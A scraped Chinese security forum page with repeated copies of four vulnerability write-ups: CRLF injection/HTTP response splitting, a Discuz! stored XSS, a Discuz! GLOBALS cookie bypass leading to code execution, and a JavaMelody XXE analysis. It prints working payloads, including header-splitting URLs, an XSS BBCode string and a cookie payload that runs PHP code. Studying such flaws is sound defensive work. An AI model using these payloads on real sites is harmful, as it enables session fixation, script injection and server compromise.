通知设置 新通知
CRLF注入漏洞讲解
Web安全渗透 • ttgo2 发表了文章 • 4 个评论 • 256 次浏览 • 2018-10-21 09:23
CRLF Injection很少遇见，这次被我逮住了。我看zone中（http://zone.wooyun.org/content/13323）还有一些同学对于这个漏洞不甚了解，甚至分不清它与CSRF，我详细说一下吧。
1 什么是CRLF注入
CRLF是”回车 + 换行”（\r\n）的简称。在HTTP协议中，HTTP Header与HTTP Body是用两个CRLF分隔的，浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以，一旦我们能够控制HTTP 消息头中的字符，注入一些恶意的换行，这样我们就能注入一些会话Cookie或者HTML代码，所以CRLF Injection又叫HTTP Response Splitting，简称HRS。
HRS是比XSS危害更大的安全问题，具体是为什么，我们往下看。
对于HRS最简单的利用方式是注入两个\r\n，之后在写入XSS代码，来构造一个xss。
2 举例说明
举个例子，一般网站会在HTTP头中用Location: http://baidu.com这种方式来进行302跳转，所以我们能控制的内容就是Location:后面的XXX某个网址。
所以一个正常的302跳转包是这样：HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: [url]http://www.xxx.com.cn[/url]
但如果我们输入的是
http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun
注入了一个换行，此时的返回包就会变成这样：
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn
Set-cookie: JSPSESSID=wooyun
这个时候这样我们就给访问者设置了一个SESSION，造成一个“会话固定漏洞”。
当然，HRS并不仅限于会话固定，通过注入两个CRLF就能造成一个无视浏览器Filter的反射型XSS。
比如一个网站接受url参数http://test.sina.com.cn/?url=xxx，xxx放在Location后面作为一个跳转。如果我们输入的是：
http://test.sina.com.cn/?url=%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>
我们的返回包就会变成这样：
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location:
<img src=1 onerror=alert(/xss/)>
之前说了浏览器会根据第一个CRLF把HTTP包分成头和体，然后将体显示出来。于是我们这里<img>这个标签就会显示出来，造成一个XSS。
为什么说是无视浏览器filter的，这里涉及到另一个问题。
浏览器的Filter是浏览器应对一些反射型XSS做的保护策略，当url中含有XSS相关特征的时候就会过滤掉不显示在页面中，所以不能触发XSS。
怎样才能关掉filter？一般来说用户这边是不行的，只有数据包中http头含有X-XSS-Protection并且值为0的时候，浏览器才不会开启filter。
说到这里应该就很清楚了，HRS不正是注入HTTP头的一个漏洞吗，我们可以将X-XSS-Protection:0注入到数据包中，再用两个CRLF来注入XSS代码，这样就成功地绕过了浏览器filter，并且执行我们的反射型XSS。
所以说HRS的危害大于XSS，因为它能绕过一般XSS所绕不过的filter，并能产生会话固定漏洞。
我们来一个真实案例吧。
某分站含有一个url跳转漏洞，危害并不大，于是我就想到了CRLF Injection，当我测试
http://xxx.aa.com.cn/?url=%0a%0d%0a%0d%3Cimg%20src=1%3E
的时候，发现图片已经输出在页面中了，说明CRLF注入成功了：
查看全部
1 什么是CRLF注入
CRLF是”回车 + 换行”（\r\n）的简称。在HTTP协议中，HTTP Header与HTTP Body是用两个CRLF分隔的，浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以，一旦我们能够控制HTTP 消息头中的字符，注入一些恶意的换行，这样我们就能注入一些会话Cookie或者HTML代码，所以CRLF Injection又叫HTTP Response Splitting，简称HRS。
HRS是比XSS危害更大的安全问题，具体是为什么，我们往下看。
对于HRS最简单的利用方式是注入两个\r\n，之后在写入XSS代码，来构造一个xss。
2 举例说明
举个例子，一般网站会在HTTP头中用Location: http://baidu.com这种方式来进行302跳转，所以我们能控制的内容就是Location:后面的XXX某个网址。
所以一个正常的302跳转包是这样：HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: [url]http://www.xxx.com.cn[/url]
但如果我们输入的是
http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun
注入了一个换行，此时的返回包就会变成这样：
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn
Set-cookie: JSPSESSID=wooyun
这个时候这样我们就给访问者设置了一个SESSION，造成一个“会话固定漏洞”。
当然，HRS并不仅限于会话固定，通过注入两个CRLF就能造成一个无视浏览器Filter的反射型XSS。
比如一个网站接受url参数http://test.sina.com.cn/?url=xxx，xxx放在Location后面作为一个跳转。如果我们输入的是：
http://test.sina.com.cn/?url=%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>
我们的返回包就会变成这样：
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location:
<img src=1 onerror=alert(/xss/)>
之前说了浏览器会根据第一个CRLF把HTTP包分成头和体，然后将体显示出来。于是我们这里<img>这个标签就会显示出来，造成一个XSS。
为什么说是无视浏览器filter的，这里涉及到另一个问题。
浏览器的Filter是浏览器应对一些反射型XSS做的保护策略，当url中含有XSS相关特征的时候就会过滤掉不显示在页面中，所以不能触发XSS。
怎样才能关掉filter？一般来说用户这边是不行的，只有数据包中http头含有X-XSS-Protection并且值为0的时候，浏览器才不会开启filter。
说到这里应该就很清楚了，HRS不正是注入HTTP头的一个漏洞吗，我们可以将X-XSS-Protection:0注入到数据包中，再用两个CRLF来注入XSS代码，这样就成功地绕过了浏览器filter，并且执行我们的反射型XSS。
所以说HRS的危害大于XSS，因为它能绕过一般XSS所绕不过的filter，并能产生会话固定漏洞。
我们来一个真实案例吧。
某分站含有一个url跳转漏洞，危害并不大，于是我就想到了CRLF Injection，当我测试
http://xxx.aa.com.cn/?url=%0a%0d%0a%0d%3Cimg%20src=1%3E
的时候，发现图片已经输出在页面中了，说明CRLF注入成功了：
查看全部
CRLF Injection很少遇见，这次被我逮住了。我看zone中（http://zone.wooyun.org/content/13323）还有一些同学对于这个漏洞不甚了解，甚至分不清它与CSRF，我详细说一下吧。
1 什么是CRLF注入
CRLF是”回车 + 换行”（\r\n）的简称。在HTTP协议中，HTTP Header与HTTP Body是用两个CRLF分隔的，浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以，一旦我们能够控制HTTP 消息头中的字符，注入一些恶意的换行，这样我们就能注入一些会话Cookie或者HTML代码，所以CRLF Injection又叫HTTP Response Splitting，简称HRS。
HRS是比XSS危害更大的安全问题，具体是为什么，我们往下看。
对于HRS最简单的利用方式是注入两个\r\n，之后在写入XSS代码，来构造一个xss。
2 举例说明
举个例子，一般网站会在HTTP头中用
所以一个正常的302跳转包是这样：
但如果我们输入的是
注入了一个换行，此时的返回包就会变成这样：
这个时候这样我们就给访问者设置了一个SESSION，造成一个“会话固定漏洞”。
当然，HRS并不仅限于会话固定，通过注入两个CRLF就能造成一个无视浏览器Filter的反射型XSS。
比如一个网站接受url参数http://test.sina.com.cn/?url=xxx，xxx放在Location后面作为一个跳转。如果我们输入的是：
我们的返回包就会变成这样：
之前说了浏览器会根据第一个CRLF把HTTP包分成头和体，然后将体显示出来。于是我们这里<img>这个标签就会显示出来，造成一个XSS。
为什么说是无视浏览器filter的，这里涉及到另一个问题。
浏览器的Filter是浏览器应对一些反射型XSS做的保护策略，当url中含有XSS相关特征的时候就会过滤掉不显示在页面中，所以不能触发XSS。
怎样才能关掉filter？一般来说用户这边是不行的，只有数据包中http头含有X-XSS-Protection并且值为0的时候，浏览器才不会开启filter。
说到这里应该就很清楚了，HRS不正是注入HTTP头的一个漏洞吗，我们可以将X-XSS-Protection:0注入到数据包中，再用两个CRLF来注入XSS代码，这样就成功地绕过了浏览器filter，并且执行我们的反射型XSS。
所以说HRS的危害大于XSS，因为它能绕过一般XSS所绕不过的filter，并能产生会话固定漏洞。
我们来一个真实案例吧。
某分站含有一个url跳转漏洞，危害并不大，于是我就想到了CRLF Injection，当我测试
的时候，发现图片已经输出在页面中了，说明CRLF注入成功了：
1 什么是CRLF注入
CRLF是”回车 + 换行”（\r\n）的简称。在HTTP协议中，HTTP Header与HTTP Body是用两个CRLF分隔的，浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以，一旦我们能够控制HTTP 消息头中的字符，注入一些恶意的换行，这样我们就能注入一些会话Cookie或者HTML代码，所以CRLF Injection又叫HTTP Response Splitting，简称HRS。
HRS是比XSS危害更大的安全问题，具体是为什么，我们往下看。
对于HRS最简单的利用方式是注入两个\r\n，之后在写入XSS代码，来构造一个xss。
2 举例说明
举个例子，一般网站会在HTTP头中用
Location:http://baidu.com这种方式来进行302跳转，所以我们能控制的内容就是Location:后面的XXX某个网址。
所以一个正常的302跳转包是这样：
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: [url]http://www.xxx.com.cn[/url]
但如果我们输入的是
http://www.sina.com.cn%0aSet-cookie:JSPSESSID%3Dwooyun
注入了一个换行，此时的返回包就会变成这样：
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location: http://www.sina.com.cn
Set-cookie: JSPSESSID=wooyun
这个时候这样我们就给访问者设置了一个SESSION，造成一个“会话固定漏洞”。
当然，HRS并不仅限于会话固定，通过注入两个CRLF就能造成一个无视浏览器Filter的反射型XSS。
比如一个网站接受url参数http://test.sina.com.cn/?url=xxx，xxx放在Location后面作为一个跳转。如果我们输入的是：
http://test.sina.com.cn/?url=%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)>
我们的返回包就会变成这样：
HTTP/1.1 302 Moved Temporarily
Date: Fri, 27 Jun 2014 17:52:17 GMT
Content-Type: text/html
Content-Length: 154
Connection: close
Location:
<img src=1 onerror=alert(/xss/)>
之前说了浏览器会根据第一个CRLF把HTTP包分成头和体，然后将体显示出来。于是我们这里<img>这个标签就会显示出来，造成一个XSS。
为什么说是无视浏览器filter的，这里涉及到另一个问题。
浏览器的Filter是浏览器应对一些反射型XSS做的保护策略，当url中含有XSS相关特征的时候就会过滤掉不显示在页面中，所以不能触发XSS。
怎样才能关掉filter？一般来说用户这边是不行的，只有数据包中http头含有X-XSS-Protection并且值为0的时候，浏览器才不会开启filter。
说到这里应该就很清楚了，HRS不正是注入HTTP头的一个漏洞吗，我们可以将X-XSS-Protection:0注入到数据包中，再用两个CRLF来注入XSS代码，这样就成功地绕过了浏览器filter，并且执行我们的反射型XSS。
所以说HRS的危害大于XSS，因为它能绕过一般XSS所绕不过的filter，并能产生会话固定漏洞。
我们来一个真实案例吧。
某分站含有一个url跳转漏洞，危害并不大，于是我就想到了CRLF Injection，当我测试
http://xxx.aa.com.cn/?url=%0a%0d%0a%0d%3Cimg%20src=1%3E
的时候，发现图片已经输出在页面中了，说明CRLF注入成功了：
Discuz! 帖子正文存在存储型xss漏洞
渗透测试 • zksmile 发表了文章 • 0 个评论 • 194 次浏览 • 2018-10-19 11:24
0x01漏洞范围
discuz 7.x 成功
discuz!X 3.1 成功
discuz!X 3.2 失败
具体的范围需要实际测试
0x02漏洞详情
需要开启多媒体代码功能（这个目前很多大站开启了）
source\function\function_discuzcode.phpif(strpos($msglower, '[/flash]') !== FALSE) {
$message = preg_replace("/\[flash(=(\d+),(\d+))?\]\s*([^\[\<\r\n]+?)\s*\[\/flash\]/ies”, $allowmediacode ? "parseflash('\\2', '\\3', '\\4');" : "bbcodeurl('\\4', '<a href=\"{url}\" target=\"_blank\">{url}</a>')", $message);}跟踪parseflash函数：function parseflash($w, $h, $url) {
$w = !$w ? 550 : $w;
$h = !$h ? 400 : $h;
preg_match("/((https?){1}:\/\/|www\.)[^\[\"'\?]+(\.swf|\.flv)(\?.+)?/i", $url, $matches);
$url = $matches[0];
$randomid = 'swf_'.random(3);
if(fileext($url) != 'flv') {
return '<span id="'.$randomid.'"></span><script type="text/javascript" reload="1">$(\''.$randomid.'\').innerHTML=AC_FL_RunContent(\'width\', \''.$w.'\', \'height\', \''.$h.'\', \'allowNetworking\', \'internal\', \'allowScriptAccess\', \'never\', \'src\', encodeURI(\''.$url.'\'), \'quality\', \'high\', \'bgcolor\', \'#ffffff\', \'wmode\', \'transparent\', \'allowfullscreen\', \'true\');</script>';
} else {
return '<span id="'.$randomid.'"></span><script type="text/javascript" reload="1">$(\''.$randomid.'\').innerHTML=AC_FL_RunContent(\'width\', \''.$w.'\', \'height\', \''.$h.'\', \'allowNetworking\', \'internal\', \'allowScriptAccess\', \'never\', \'src\', \''.STATICURL.'image/common/flvplayer.swf\', \'flashvars\', \'file='.rawurlencode($url).'\', \'quality\', \'high\', \'wmode\', \'transparent\', \'allowfullscreen\', \'true\');</script>';
}
}可以看出preg_match("/((https?){1}:\/\/|www\.)[^\[\"'\?]+(\.swf|\.flv)(\?.+)?/i", $url, $matches);正则处理不当(\?.+)
从而可以带进“'”到 encodeURI(\''.$url.'\')，从而造成存储型xss
到 encodeURI(\''.$url.'\')，从而造成存储型xss。
0x03 漏洞证明：
找一篇帖子回复：[flash]http://localhost/flash.swf?'+alert('zksmile')+'[/flash]7.x 截图如下：
x 3.1截图如下：
查看全部
discuz 7.x 成功
discuz!X 3.1 成功
discuz!X 3.2 失败
具体的范围需要实际测试
0x02漏洞详情
需要开启多媒体代码功能（这个目前很多大站开启了）
source\function\function_discuzcode.phpif(strpos($msglower, '[/flash]') !== FALSE) {
$message = preg_replace("/\[flash(=(\d+),(\d+))?\]\s*([^\[\<\r\n]+?)\s*\[\/flash\]/ies”, $allowmediacode ? "parseflash('\\2', '\\3', '\\4');" : "bbcodeurl('\\4', '<a href=\"{url}\" target=\"_blank\">{url}</a>')", $message);}跟踪parseflash函数：function parseflash($w, $h, $url) {
$w = !$w ? 550 : $w;
$h = !$h ? 400 : $h;
preg_match("/((https?){1}:\/\/|www\.)[^\[\"'\?]+(\.swf|\.flv)(\?.+)?/i", $url, $matches);
$url = $matches[0];
$randomid = 'swf_'.random(3);
if(fileext($url) != 'flv') {
return '<span id="'.$randomid.'"></span><script type="text/javascript" reload="1">$(\''.$randomid.'\').innerHTML=AC_FL_RunContent(\'width\', \''.$w.'\', \'height\', \''.$h.'\', \'allowNetworking\', \'internal\', \'allowScriptAccess\', \'never\', \'src\', encodeURI(\''.$url.'\'), \'quality\', \'high\', \'bgcolor\', \'#ffffff\', \'wmode\', \'transparent\', \'allowfullscreen\', \'true\');</script>';
} else {
return '<span id="'.$randomid.'"></span><script type="text/javascript" reload="1">$(\''.$randomid.'\').innerHTML=AC_FL_RunContent(\'width\', \''.$w.'\', \'height\', \''.$h.'\', \'allowNetworking\', \'internal\', \'allowScriptAccess\', \'never\', \'src\', \''.STATICURL.'image/common/flvplayer.swf\', \'flashvars\', \'file='.rawurlencode($url).'\', \'quality\', \'high\', \'wmode\', \'transparent\', \'allowfullscreen\', \'true\');</script>';
}
}可以看出preg_match("/((https?){1}:\/\/|www\.)[^\[\"'\?]+(\.swf|\.flv)(\?.+)?/i", $url, $matches);正则处理不当(\?.+)
从而可以带进“'”到 encodeURI(\''.$url.'\')，从而造成存储型xss
到 encodeURI(\''.$url.'\')，从而造成存储型xss。
0x03 漏洞证明：
找一篇帖子回复：[flash]http://localhost/flash.swf?'+alert('zksmile')+'[/flash]7.x 截图如下：
x 3.1截图如下：
查看全部
0x01漏洞范围
0x02漏洞详情
需要开启多媒体代码功能（这个目前很多大站开启了）
source\function\function_discuzcode.php
从而可以带进“'”到 encodeURI(\''.$url.'\')，从而造成存储型xss
到 encodeURI(\''.$url.'\')，从而造成存储型xss。
0x03 漏洞证明：
找一篇帖子回复：
x 3.1截图如下：
discuz 7.x 成功
discuz!X 3.1 成功
discuz!X 3.2 失败
具体的范围需要实际测试
0x02漏洞详情
需要开启多媒体代码功能（这个目前很多大站开启了）
source\function\function_discuzcode.php
if(strpos($msglower, '[/flash]') !== FALSE) {跟踪parseflash函数：
$message = preg_replace("/\[flash(=(\d+),(\d+))?\]\s*([^\[\<\r\n]+?)\s*\[\/flash\]/ies”, $allowmediacode ? "parseflash('\\2', '\\3', '\\4');" : "bbcodeurl('\\4', '<a href=\"{url}\" target=\"_blank\">{url}</a>')", $message);}
function parseflash($w, $h, $url) {
$w = !$w ? 550 : $w;
$h = !$h ? 400 : $h;
preg_match("/((https?){1}:\/\/|www\.)[^\[\"'\?]+(\.swf|\.flv)(\?.+)?/i", $url, $matches);
$url = $matches[0];
$randomid = 'swf_'.random(3);
if(fileext($url) != 'flv') {
return '<span id="'.$randomid.'"></span><script type="text/javascript" reload="1">$(\''.$randomid.'\').innerHTML=AC_FL_RunContent(\'width\', \''.$w.'\', \'height\', \''.$h.'\', \'allowNetworking\', \'internal\', \'allowScriptAccess\', \'never\', \'src\', encodeURI(\''.$url.'\'), \'quality\', \'high\', \'bgcolor\', \'#ffffff\', \'wmode\', \'transparent\', \'allowfullscreen\', \'true\');</script>';
} else {
return '<span id="'.$randomid.'"></span><script type="text/javascript" reload="1">$(\''.$randomid.'\').innerHTML=AC_FL_RunContent(\'width\', \''.$w.'\', \'height\', \''.$h.'\', \'allowNetworking\', \'internal\', \'allowScriptAccess\', \'never\', \'src\', \''.STATICURL.'image/common/flvplayer.swf\', \'flashvars\', \'file='.rawurlencode($url).'\', \'quality\', \'high\', \'wmode\', \'transparent\', \'allowfullscreen\', \'true\');</script>';
}
}可以看出preg_match("/((https?){1}:\/\/|www\.)[^\[\"'\?]+(\.swf|\.flv)(\?.+)?/i", $url, $matches);正则处理不当(\?.+)
从而可以带进“'”到 encodeURI(\''.$url.'\')，从而造成存储型xss
到 encodeURI(\''.$url.'\')，从而造成存储型xss。
0x03 漏洞证明：
找一篇帖子回复：
[flash]http://localhost/flash.swf?'+alert('zksmile')+'[/flash]7.x 截图如下：
x 3.1截图如下：
Discuz! 6.x/7.x 全局变量防御绕过导致命令执行
渗透测试 • zksmile 发表了文章 • 0 个评论 • 201 次浏览 • 2018-10-18 16:15
0x01 漏洞概述
由于php5.3.x版本里php.ini的设置里request_order默认值为GP，导致Discuz! 6.x/7.x 全局变量防御绕过漏洞。
0x02 漏洞分析
include/global.func.php代码里：function daddslashes($string, $force = 0) {
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
$string = addslashes($string);
}
}
return $string;
}
include/common.inc.php里：foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value);
}
}
在GPC为off时会调用addslashes()函数处理变量值,但是如果直接使用$_GET/$_POST/$_COOKIE这样的变量,这个就不起作用了,然而dz的源码里直接使用$_GET/$_POST/$_COOKIE的地方很少,存在漏洞的地方更加少。
不过还有其他的绕过方法,在register_globals=on下通过提交GLOBALS变量就可以绕过上面的代码了.为了防止这种情况,dz中有如下代码:if (isset($_REQUEST['GLOBALS']) OR isset($_FILES['GLOBALS'])) {
exit('Request tainting attempted.');
}
这样就没法提交GLOBALS变量了么？
$_REQUEST这个超全局变量的值受php.ini中request_order的影响,在最新的php5.3.x系列中,request_order默认值为GP,也就是说默认配置下$_REQUEST只包含$_GET和$_POST,而不包括$_COOKIE,那么我们就可以通过COOKIE来提交GLOBALS变量了
0x03漏洞复现
直接找一个已存在的帖子，向其发送数据包，并在Cookie中增加GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
查看全部
由于php5.3.x版本里php.ini的设置里request_order默认值为GP，导致Discuz! 6.x/7.x 全局变量防御绕过漏洞。
0x02 漏洞分析
include/global.func.php代码里：function daddslashes($string, $force = 0) {
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
$string = addslashes($string);
}
}
return $string;
}
include/common.inc.php里：foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value);
}
}
在GPC为off时会调用addslashes()函数处理变量值,但是如果直接使用$_GET/$_POST/$_COOKIE这样的变量,这个就不起作用了,然而dz的源码里直接使用$_GET/$_POST/$_COOKIE的地方很少,存在漏洞的地方更加少。
不过还有其他的绕过方法,在register_globals=on下通过提交GLOBALS变量就可以绕过上面的代码了.为了防止这种情况,dz中有如下代码:if (isset($_REQUEST['GLOBALS']) OR isset($_FILES['GLOBALS'])) {
exit('Request tainting attempted.');
}
这样就没法提交GLOBALS变量了么？
$_REQUEST这个超全局变量的值受php.ini中request_order的影响,在最新的php5.3.x系列中,request_order默认值为GP,也就是说默认配置下$_REQUEST只包含$_GET和$_POST,而不包括$_COOKIE,那么我们就可以通过COOKIE来提交GLOBALS变量了
0x03漏洞复现
直接找一个已存在的帖子，向其发送数据包，并在Cookie中增加GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
查看全部
0x01 漏洞概述
由于php5.3.x版本里php.ini的设置里request_order默认值为GP，导致Discuz! 6.x/7.x 全局变量防御绕过漏洞。
0x02 漏洞分析
include/global.func.php代码里：
include/common.inc.php里：
在GPC为off时会调用addslashes()函数处理变量值,但是如果直接使用$_GET/$_POST/$_COOKIE这样的变量,这个就不起作用了,然而dz的源码里直接使用$_GET/$_POST/$_COOKIE的地方很少,存在漏洞的地方更加少。
不过还有其他的绕过方法,在register_globals=on下通过提交GLOBALS变量就可以绕过上面的代码了.为了防止这种情况,dz中有如下代码:
这样就没法提交GLOBALS变量了么？
$_REQUEST这个超全局变量的值受php.ini中request_order的影响,在最新的php5.3.x系列中,request_order默认值为GP,也就是说默认配置下$_REQUEST只包含$_GET和$_POST,而不包括$_COOKIE,那么我们就可以通过COOKIE来提交GLOBALS变量了
0x03漏洞复现
直接找一个已存在的帖子，向其发送数据包，并在Cookie中增加
由于php5.3.x版本里php.ini的设置里request_order默认值为GP，导致Discuz! 6.x/7.x 全局变量防御绕过漏洞。
0x02 漏洞分析
include/global.func.php代码里：
function daddslashes($string, $force = 0) {
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
$string = addslashes($string);
}
}
return $string;
}include/common.inc.php里：
foreach(array('_COOKIE', '_POST', '_GET') as $_request) {
foreach($$_request as $_key => $_value) {
$_key{0} != '_' && $$_key = daddslashes($_value);
}
}在GPC为off时会调用addslashes()函数处理变量值,但是如果直接使用$_GET/$_POST/$_COOKIE这样的变量,这个就不起作用了,然而dz的源码里直接使用$_GET/$_POST/$_COOKIE的地方很少,存在漏洞的地方更加少。
不过还有其他的绕过方法,在register_globals=on下通过提交GLOBALS变量就可以绕过上面的代码了.为了防止这种情况,dz中有如下代码:
if (isset($_REQUEST['GLOBALS']) OR isset($_FILES['GLOBALS'])) {
exit('Request tainting attempted.');
}
这样就没法提交GLOBALS变量了么？
$_REQUEST这个超全局变量的值受php.ini中request_order的影响,在最新的php5.3.x系列中,request_order默认值为GP,也就是说默认配置下$_REQUEST只包含$_GET和$_POST,而不包括$_COOKIE,那么我们就可以通过COOKIE来提交GLOBALS变量了
0x03漏洞复现
直接找一个已存在的帖子，向其发送数据包，并在Cookie中增加
GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=phpinfo();
JavaMelody组件XXE漏洞解析
Web安全渗透 • ttgo2 发表了文章 • 0 个评论 • 101 次浏览 • 2018-10-14 18:29
文章转载：https://mp.weixin.qq.com/s/Tca3GGPCIc7FZaubUTh18Q
0x00 概述
JavaMelody是一个用来对Java应用进行监控的组件。通过该组件，用户可以对内存、CPU、用户session甚至SQL请求等进行监控，并且该组件提供了一个可视化界面给用户使用。
最近，该组件被爆出一个XXE漏洞——CVE-2018-15531，由于该组件的启动特性，攻击者无需特定的权限即可发起攻击。
0x01 漏洞复现
我们使用SpringBoot web来搭建基础项目，然后将JavaMelody集成进来，在maven中配置如下：
访问http://127.0.0.1/monitoring出现如下页面表示环境搭建成功
由于这里是没有回显的，因此可以使用Blind XXE来读取文件进行攻击：
DTD文件构造如下：
在JavaMelody的默认配置下，直接发包就可以触发该漏洞。
需要注意的是，构造回显通道时，如果是低版本的jdk，可以直接使用gopher协议回传。如果是高版本jdk，则不支持gopher协议，那么可以使用FTP回显技巧来读取多行文件。
0x02 漏洞细节
我们先来看一下官方的补丁代码：
https://github.com/javamelody/javamelody/commit/ef111822562d0b9365bd3e671a75b65bd0613353
可以看到，官方在net/bull/javamelody/PayloadNameRequestWrapper.java中新增了对XMLInputFactory配置的代码，禁用了外部实体解析和dtd实体解析。因此，很容易判断出这里是一个XXE漏洞。
为什么这个漏洞随意发包即可触发漏洞呢？这和JavaMelody启动过程有关。在触发该漏洞后，我们在PayloadNameRequestWrapper中下断点：
通过调用历史信息可以发现，请求进入了一个MonitoringFilter拦截器中。
Springboot中肯定是没有配置这个filter的，查看jar包发现，该拦截器是通过web-fragment.xml进行的配置：
在配置项中我们可以发现这个filter默认是处理所有请求：
因此，外部请求会进入MonitoringFilter的doFilter方法，之后调用了createRequestWrapper方法：
然后来到了PayloadNameRequestWrapper-> initialize方法中
在处理soap相关的content-type时，只关注application/soap+xml,text/xml。如果发现content-type类型满足if条件，则调用parseSoapMethodName方法执行解析，继续跟进该方法：
0x03 漏洞修复
该漏洞修复比较简单，直接更新JavaMelody至1.74.0即可，或者自己写拦截器来处理恶意请求。
当然，值得注意的是，如果泄漏了/monitoring路由，其实本身就是一个很严重的信息泄露漏洞。因为JavaMelody提供了非常丰富的功能，比如执行gc，杀掉线程，查看SQL请求，查看系统信息、进程，查看数据库schema信息等。
查看全部
0x00 概述
JavaMelody是一个用来对Java应用进行监控的组件。通过该组件，用户可以对内存、CPU、用户session甚至SQL请求等进行监控，并且该组件提供了一个可视化界面给用户使用。
最近，该组件被爆出一个XXE漏洞——CVE-2018-15531，由于该组件的启动特性，攻击者无需特定的权限即可发起攻击。
0x01 漏洞复现
我们使用SpringBoot web来搭建基础项目，然后将JavaMelody集成进来，在maven中配置如下：
访问http://127.0.0.1/monitoring出现如下页面表示环境搭建成功
由于这里是没有回显的，因此可以使用Blind XXE来读取文件进行攻击：
DTD文件构造如下：
在JavaMelody的默认配置下，直接发包就可以触发该漏洞。
需要注意的是，构造回显通道时，如果是低版本的jdk，可以直接使用gopher协议回传。如果是高版本jdk，则不支持gopher协议，那么可以使用FTP回显技巧来读取多行文件。
0x02 漏洞细节
我们先来看一下官方的补丁代码：
https://github.com/javamelody/javamelody/commit/ef111822562d0b9365bd3e671a75b65bd0613353
可以看到，官方在net/bull/javamelody/PayloadNameRequestWrapper.java中新增了对XMLInputFactory配置的代码，禁用了外部实体解析和dtd实体解析。因此，很容易判断出这里是一个XXE漏洞。
为什么这个漏洞随意发包即可触发漏洞呢？这和JavaMelody启动过程有关。在触发该漏洞后，我们在PayloadNameRequestWrapper中下断点：
通过调用历史信息可以发现，请求进入了一个MonitoringFilter拦截器中。
Springboot中肯定是没有配置这个filter的，查看jar包发现，该拦截器是通过web-fragment.xml进行的配置：
在配置项中我们可以发现这个filter默认是处理所有请求：
因此，外部请求会进入MonitoringFilter的doFilter方法，之后调用了createRequestWrapper方法：
然后来到了PayloadNameRequestWrapper-> initialize方法中
在处理soap相关的content-type时，只关注application/soap+xml,text/xml。如果发现content-type类型满足if条件，则调用parseSoapMethodName方法执行解析，继续跟进该方法：
0x03 漏洞修复
该漏洞修复比较简单，直接更新JavaMelody至1.74.0即可，或者自己写拦截器来处理恶意请求。
当然，值得注意的是，如果泄漏了/monitoring路由，其实本身就是一个很严重的信息泄露漏洞。因为JavaMelody提供了非常丰富的功能，比如执行gc，杀掉线程，查看SQL请求，查看系统信息、进程，查看数据库schema信息等。
查看全部
文章转载：https://mp.weixin.qq.com/s/Tca3GGPCIc7FZaubUTh18Q
0x00 概述
JavaMelody是一个用来对Java应用进行监控的组件。通过该组件，用户可以对内存、CPU、用户session甚至SQL请求等进行监控，并且该组件提供了一个可视化界面给用户使用。
最近，该组件被爆出一个XXE漏洞——CVE-2018-15531，由于该组件的启动特性，攻击者无需特定的权限即可发起攻击。
0x01 漏洞复现
我们使用SpringBoot web来搭建基础项目，然后将JavaMelody集成进来，在maven中配置如下：
访问http://127.0.0.1/monitoring出现如下页面表示环境搭建成功
由于这里是没有回显的，因此可以使用Blind XXE来读取文件进行攻击：
DTD文件构造如下：
在JavaMelody的默认配置下，直接发包就可以触发该漏洞。
需要注意的是，构造回显通道时，如果是低版本的jdk，可以直接使用gopher协议回传。如果是高版本jdk，则不支持gopher协议，那么可以使用FTP回显技巧来读取多行文件。
0x02 漏洞细节
我们先来看一下官方的补丁代码：
https://github.com/javamelody/javamelody/commit/ef111822562d0b9365bd3e671a75b65bd0613353
可以看到，官方在net/bull/javamelody/PayloadNameRequestWrapper.java中新增了对XMLInputFactory配置的代码，禁用了外部实体解析和dtd实体解析。因此，很容易判断出这里是一个XXE漏洞。
